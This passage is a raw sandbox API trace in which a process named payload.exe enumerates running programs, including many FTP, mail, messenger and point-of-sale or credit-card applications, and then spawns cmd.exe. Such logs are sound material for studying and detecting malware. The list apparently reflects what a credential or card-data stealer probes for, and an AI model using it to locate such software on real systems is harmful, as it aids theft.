th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0062.886] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0062.886] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0062.887] lstrlenW (lpString="things apt speaker.exe") returned 22 [0062.887] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0062.887] lstrlenW (lpString="longest.exe") returned 11 [0062.887] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0062.888] lstrlenW (lpString="liberty.exe") returned 11 [0062.888] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0062.888] lstrlenW (lpString="robust.exe") returned 10 [0062.888] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0062.889] lstrlenW (lpString="browse.exe") returned 10 [0062.889] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0062.889] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0062.889] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0062.890] lstrlenW (lpString="blocked.exe") returned 11 [0062.890] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0062.890] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0062.890] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0062.891] lstrlenW (lpString="reno.exe") returned 8 [0062.891] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0062.891] lstrlenW (lpString="vancouver.exe") returned 13 [0062.891] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0062.892] lstrlenW (lpString="africa.exe") returned 10 [0062.892] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0062.892] lstrlenW (lpString="ph-pos.exe") returned 10 [0062.892] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0062.893] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0062.893] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0062.893] lstrlenW (lpString="peaceful.exe") returned 12 [0062.893] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0062.894] lstrlenW (lpString="louise_threshold.exe") returned 20 [0062.894] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0062.894] lstrlenW (lpString="scannerhit.exe") returned 14 [0062.894] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0062.895] lstrlenW (lpString="3dftp.exe") returned 9 [0062.895] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0062.895] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0062.895] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0062.896] lstrlenW (lpString="alftp.exe") returned 9 [0062.896] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0063.029] lstrlenW (lpString="barca.exe") returned 9 [0063.029] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0063.030] lstrlenW (lpString="bitkinex.exe") returned 12 [0063.030] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0063.030] lstrlenW (lpString="coreftp.exe") returned 11 [0063.030] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0063.031] lstrlenW (lpString="far.exe") returned 7 [0063.031] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0063.031] lstrlenW (lpString="filezilla.exe") returned 13 [0063.031] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0063.032] lstrlenW (lpString="flashfxp.exe") returned 12 [0063.032] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0063.032] lstrlenW (lpString="fling.exe") returned 9 [0063.033] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0063.033] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0063.033] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0063.033] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0063.034] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0063.034] lstrlenW (lpString="icq.exe") returned 7 [0063.034] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0063.035] lstrlenW (lpString="leechftp.exe") returned 12 [0063.035] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0063.035] lstrlenW (lpString="ncftp.exe") returned 9 [0063.035] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0063.036] lstrlenW (lpString="notepad.exe") returned 11 [0063.036] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0063.038] lstrlenW (lpString="operamail.exe") returned 13 [0063.038] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0063.039] lstrlenW (lpString="pidgin.exe") returned 10 [0063.039] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0063.040] lstrlenW (lpString="scriptftp.exe") returned 13 [0063.040] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0063.040] lstrlenW (lpString="skype.exe") returned 9 [0063.040] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0063.041] lstrlenW (lpString="smartftp.exe") returned 12 [0063.041] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0063.042] lstrlenW (lpString="thunderbird.exe") returned 15 [0063.042] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0063.043] lstrlenW (lpString="totalcmd.exe") returned 12 [0063.043] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0063.043] lstrlenW (lpString="trillian.exe") returned 12 [0063.044] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0063.044] lstrlenW (lpString="webdrive.exe") returned 12 [0063.044] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0063.045] lstrlenW (lpString="whatsapp.exe") returned 12 [0063.045] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0063.046] lstrlenW (lpString="winscp.exe") returned 10 [0063.046] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0063.047] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0063.047] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0063.047] lstrlenW (lpString="active-charge.exe") returned 17 [0063.047] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0063.048] lstrlenW (lpString="accupos.exe") returned 11 [0063.048] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0063.049] lstrlenW (lpString="afr38.exe") returned 9 [0063.049] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0063.050] lstrlenW (lpString="aldelo.exe") returned 10 [0063.050] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0063.050] lstrlenW (lpString="ccv_server.exe") returned 14 [0063.050] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0063.051] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0063.051] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0063.052] lstrlenW (lpString="creditservice.exe") returned 17 [0063.052] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0063.052] lstrlenW (lpString="edcsvr.exe") returned 10 [0063.052] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0063.053] lstrlenW (lpString="fpos.exe") returned 8 [0063.053] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0063.054] lstrlenW (lpString="isspos.exe") returned 10 [0063.054] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0063.054] lstrlenW (lpString="mxslipstream.exe") returned 16 [0063.054] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0063.055] lstrlenW (lpString="omnipos.exe") returned 11 [0063.055] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0063.056] lstrlenW (lpString="spcwin.exe") returned 10 [0063.056] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0063.056] lstrlenW (lpString="spgagentservice.exe") returned 19 [0063.056] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0063.057] lstrlenW (lpString="utg2.exe") returned 8 [0063.057] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0063.058] lstrlenW (lpString="slope.exe") returned 9 [0063.058] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0063.058] lstrlenW (lpString="entered.exe") returned 11 [0063.058] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0063.059] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0063.059] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0063.060] lstrlenW (lpString="attach.exe") returned 10 [0063.060] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0063.060] lstrlenW (lpString="obligations.exe") returned 15 [0063.060] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.061] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.061] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.062] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.062] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.062] lstrlenW (lpString="taskhost.exe") returned 12 [0063.062] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.063] lstrlenW (lpString="dllhost.exe") returned 11 [0063.063] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.063] lstrlenW (lpString="dllhost.exe") returned 11 [0063.063] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0063.064] lstrlenW (lpString="payload.exe") returned 11 [0063.064] Process32NextW (in: hSnapshot=0x198, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.065] lstrlenW (lpString="cmd.exe") returned 